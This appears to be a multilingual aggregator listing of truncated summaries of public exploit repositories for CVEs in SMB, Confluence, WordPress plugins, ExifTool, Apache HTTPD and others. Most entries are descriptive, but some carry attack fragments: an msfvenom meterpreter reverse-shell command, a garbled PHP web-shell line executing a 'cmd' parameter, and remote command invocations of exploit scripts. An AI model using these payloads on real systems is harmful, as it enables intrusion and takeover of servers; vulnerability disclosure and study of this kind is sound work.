BIT-EternalBlue-for-macOS_Linux

BIT-EternalBlue-for-macOS&Linux Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS. This bug is workable on both macOS and Linux. Install Before exploit, you need to download dependencies...

CVE-2019-1367

0x00背景介绍 Internet Explorer，是微软公司推出的一款网页浏览器。用户量极大。 9月23日微软紧急发布安全更新，修复了一个影响IE浏览器的远程代码执行漏洞。由谷歌威胁分析小组发现此漏洞，据称该漏洞已遭在野利用。 0x01漏洞描述 此漏洞是由InternetExplorer脚本引擎中处理内存对象的方式中的内存损坏引起的。要利用此漏洞，攻击者必须引导用户打开已经托管漏洞的恶意网站。 利用此漏洞可以导致攻击者获得用户的当前权限，并执行任意代码。如果当前用户拥有管理权限攻击者可以在系统上执行各种操作，从创建具有完全权限的新帐户到安装程序甚至修改数据。 0x02漏洞编号...

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – iOS AudioConverterService 零点击远程代码执行 CVE-2025-31200 的公开披露——苹果 iOS 18.X 中 AudioConverterService 组件的一个零点击远程代码执行 RCE 漏洞。该漏洞通过 iMessage 或 SMS 发送的恶意音频文件触发，无需用户交互。 披露与补丁时间线 初始报告日期： 2025年1月21日 报告对象： US-CERT（跟踪 ID：VRF25-01-MPVDT） 苹果补丁： 已在 iOS 18.4.1 （2025年4月16日发布）中静默修复 CVE 分配： 由于 MITRE...

CVE-2022-24500

CVE-2022-24500 RCE エクスプロイト Windows SMB リモートコード実行の脆弱性 脆弱性: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 ステップ1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin ステップ2 root@kitploit: msf5 use...

CVE-2023-6553-PoC

CVE-2023-6553 概念验证（本地文件包含到远程代码执行） Backup Migration（WordPress插件）中的未认证远程代码执行。 运行 root@kitploit: $ python exploit.py 将执行以下PHP脚本。 root@kitploit: out.txt; ? 参考 Critical Unauthenticated Remote Code Execution Found in Backup Migration Plugin...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool のエクスプロイト - 任意のコード実行 エクスプロイトの説明 このエクスプロイトを使用して、脆弱なバージョンの ExifTool でコード実行に使用できる JPEG 画像ペイロードを生成します。カスタムコマンドを指定するか、リバースシェルを生成できます。JPEG 画像が自動的に生成されます。オプションで、カスタム JPEG 画像を提供してペイロードを挿入することもできます。...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allow...

CVE-2021-33026

CVE-2021-33026 Pickleシリアライゼーションのリモートコード実行 - Memcachedポイズニング PoCエクスプロイト CVE-2021-3306とは？ 「Flask-Caching拡張（バージョン1.10.1まで）は、FlaskでシリアライゼーションにPickleを利用しており、リモートコード実行やローカルの権限昇格を引き起こす可能性があります。攻撃者がキャッシュストレージ（例：ファイルシステム、Memcached、Redisなど）へのアクセスを得た場合、細工されたペイロードを構築し、キャッシュを汚染してPythonコードを実行できます。」...

CVE-2019-8561

CVE-2019-8561 Jaron Bradley（@jbradley89）によって発見されたCVE-2019-8561の概念実証エクスプロイト（macOS 10.14.4で修正済み）。このスクリプトは、installer のTOCTOUバグを悪用し、rootとしてコードを実行できるようにします。 Jaron氏のObjective By the Sea v2での講演 "Bad Things in Small Packages" をご覧ください。ここでは、r00tを取得しSIPを迂回する方法を実演しています。 （注：gpgpoc...

CVE-2025-3776

CVE-2025-3776 - “Verification SMS with TargetSMS” 插件 ' . shellexec$GET'cmd' . ''; else echo '' . shellexec"whoami" . ''; exit; ✅ 这样可以确保 evil...

CVE-2024-11393

CVE-2024-11393 Vulnerabilidad de ejecución remota de código por deserialización de datos no confiables en el modelo MaskFormer de Hugging Face Transformers Resumen general y efectos de la vulnerabilidad: La vulnerabilidad permite a un atacante ejecutar código arbitrario en la máquina anfitriona a...

CVE-2021-41773_CVE-2021-42013_Exploits

利用 CVE-2021-41773 与 CVE-2021-42013 概述 本仓库专注于利用 Apache HTTPD 中的两个漏洞：CVE-2021-41773 和 CVE-2021-42013。 这些 CVE 代表路径遍历漏洞，可能进一步导致文件映射以及 Apache HTTPD 服务器上的远程代码执行。 有关这些 CVE 的深入信息，包括潜在的缺陷、易受攻击的配置、利用方式等，请参阅这篇内容全面的博客文章： Dissecting and Exploiting CVE-2021-41773 and CVE-2021-42013。 环境要求与执行 要成功利用这些漏洞，你需要： Pyth...

CVE-2020-0688

CVE-2020-0688 Ejecución remota de código RCE en Microsoft Exchange Server mediante clave criptográfica fija En lugar de tener claves generadas aleatoriamente por instalación, todas las instalaciones de Microsoft Exchange Server tienen los mismos valores validationKey y decryptionKey en web.config...

ClearML-CVE-2024-24590-RCE

Clearml-CVE-2024-24590 CVE-2024-24590 是一种可在服务器端存在不当反序列化时被利用的漏洞，此处指 Clearml。 当攻击者创建恶意的 Pickle 文件时，他们可以在反序列化该 Pickle 文件的受害者系统上执行任意代码，并可进一步升级为反弹 Shell，从而实现远程命令执行。 别忘了安装 clearml 库 root@kitploit: python -m venv .g source .g/bin/activate/ pip install clearml...

CVE-2011-2523-poc

CVE-2011-2523-poc これは、socketモジュールとtelnetlibモジュールを使用して、CVE-2011-2523（VSFTPD 2.3.4のバックドアコマンド実行）を悪用するpython3スクリプトです。 必要条件 root@kitploit: sudo python3 -m pip install pwntools インストール root@kitploit: git clone https://github.com/4m3rr0r/CVE-2011-2523-poc.git cd CVE-2011-2523-poc/ chmod +x exploit.py 使用方...

CVE-2024-9441

CVE-2024-9441 漏洞描述： 该代码利用了一个由于基于PHP的Web应用中输入清理不当导致的远程代码执行（RCE）漏洞。具体弱点存在于“忘记密码”功能（index.php?c=user&m=forgotpassword）中，用户输入未经过适当清理，允许攻击者向服务器注入任意PHP代码。 该脚本利用基于PHP的应用中的漏洞，向服务器上传恶意PHP脚本，并通过HTTP请求执行系统命令。 使用步骤： python exploit.py "/bin/ls -al /var/www/html" 如果利用成功，您应在终端输出中看到目录内容。...

CVE-2020-26217

説明 XStreamはリモートコード実行に使用される可能性があります 影響 Xstream com.thoughtworks.xstream xstream 1.4.13 使用方法 root@kitploit: 0 text/plain 0 -1 1 cmd /c/st...

CVE-2022-21587-Oracle-EBS-

运行此漏洞利用程序的前提条件： python3 包含模块（requests、os、sys、slipit） uuencode 在运行之前，请确保仅将其用于符合道德的用途。 如果漏洞利用程序运行失败： 请确保你已经安装了前置依赖模块 安装 requests pip3 install requests 安装 slipit，git clone https://github.com/usdAG/slipit cd slipit python3 setup.py sdist pip3 install --user dist/ OR python3 -m pip install --user dist...

CVE-2020-10148

使用方法と免責事項 このスクリプトは、SolarWinds Orion API のリモートコード実行脆弱性（CVE-2020-10148）のバッチ検出スクリプトです。 使用方法：Python CVE-2020-10148.py urls.txt urls.txt 内の各URLは1行に記載し、脆弱性のあるアドレスは vul.txt に出力されます。 影響バージョン： SolarWinds Orion 2020.2.1 HF 2 および 2019.4 HF 6 より前のバージョンが本脆弱性の影響を受けます。...

CVE-2025-22968

CVE-2025-22968 D-Link DWR-M972V ソフトウェアバージョン 1.05SSG の認証不要アクセス脆弱性 説明 D-Link DWR-M972V（ソフトウェアバージョン 1.05SSG）のデフォルト設定における認証不要のアクセスにより、匿名の攻撃者がルーターにアクセスし、公開アクセスを介して悪意のあるバックドアスクリプトをアップロードできる。 脆弱性タイプ 不適切な認証 製品ベンダー D-Link 影響を受ける製品コードベース D-Link DWR-M972V Software Version 1.05SSG 影響を受けるコンポーネント ルーター上の Router...